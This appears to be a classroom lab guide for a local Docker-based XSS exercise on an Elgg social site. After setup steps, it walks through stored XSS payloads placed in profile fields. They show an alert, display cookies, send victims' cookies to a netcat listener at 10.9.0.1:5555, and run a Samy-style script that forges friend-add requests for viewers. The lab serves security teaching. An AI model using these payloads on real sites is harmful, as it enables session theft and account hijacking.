LAB-9

Download Lab setup files from bright space.

Lab Setup

Open

$ sudo vim /etc/hosts

Go to XSS Lab section and set the domain address www.seed-server.com for **10.9.0.5**

Make sure it looks similar to below:

```
#For XSS Lab
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com
```

Comment other IP address 10.9.0.5, which are not part of XSS LAB

Next, Type

$ docker ps

If you find any active containers after the above command, then make sure you kill all the existing containers using the command given below.

$ docker kill CONTAINER_ID

(You can see the container id of each container when you typed **docker ps** command)

Execute the below commands in the lab setup folder where the **docker-compose.yml** file exists.

```
$ docker-compose build
```

```
$ docker-compose up
```

TASK-1

Next, Open Firefox and search www.seed-server.com

If you are not able to open website then check the proxy setting

Settings -> Proxy (type in search) -> (Change option to **No Proxy**) -> Save

Next Clear data & cookies for the website and refresh the page.

Look Brightspace lab guide for login credentials.

UserName - alice

Password - seedalice

Go to **Account Profile** -> **Edit Profile** -> **Brief Description**

Type below text in Brief Description column

```
<script>alert('XSS');</script>
```

Next, Click **SAVE** button

Alert window gets pop up - **TAKE SCREENSHOT**

TASK-2

Similar to TASK-1,

Go to **Account Profile** -> **Edit Profile** -> **Brief Description**

Type below text in Brief Description column

```
<script>alert(document.cookie);</script>
```

Next, Click **SAVE** button

Alert window gets pop up by showing cookies - **TAKE SCREENSHOT**

TASK-3

Open New terminal and type below command

```
$ nc -lknv 5555
```

Again similar to TASK-1,2

Go to **Account Profile** -> **Edit Profile** -> **Brief Description**

Type below text in Brief Description column

```
<script>
document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + '  >');
</script>
```

Next, Click **SAVE** button

Cookie data has listened in nc initiated terminal - **TAKE SCREENSHOT**

TASK-4

1.

First, Login to **ALICE** account

http://www.seed-server.com/friends/alice

Alice friends list is empty.

Do logout.

2.

Login to **SAMY** account.

Copy this source code in Go to **Account Profile** -> **Edit Profile** -> **About me (Edit HTML)** field

```
<script>

window.onload = function()

{

var Ajax = null;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

var friend = "friend="+59;

var sendurl="http://www.seed-server.com/action/friends/add?"+friend+ts+token;

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.send();

}

</script>
```

Next, Click **SAVE** button

Do Logout.

3.

Next Login to **ALICE** account

Check samy account -> http://www.seed-server.com/friends/alice

Next check Alice friends list -> http://www.seed-server.com/friends/alice

You will see that Samy is in Alice friends list.

TAKE SCREENSHOT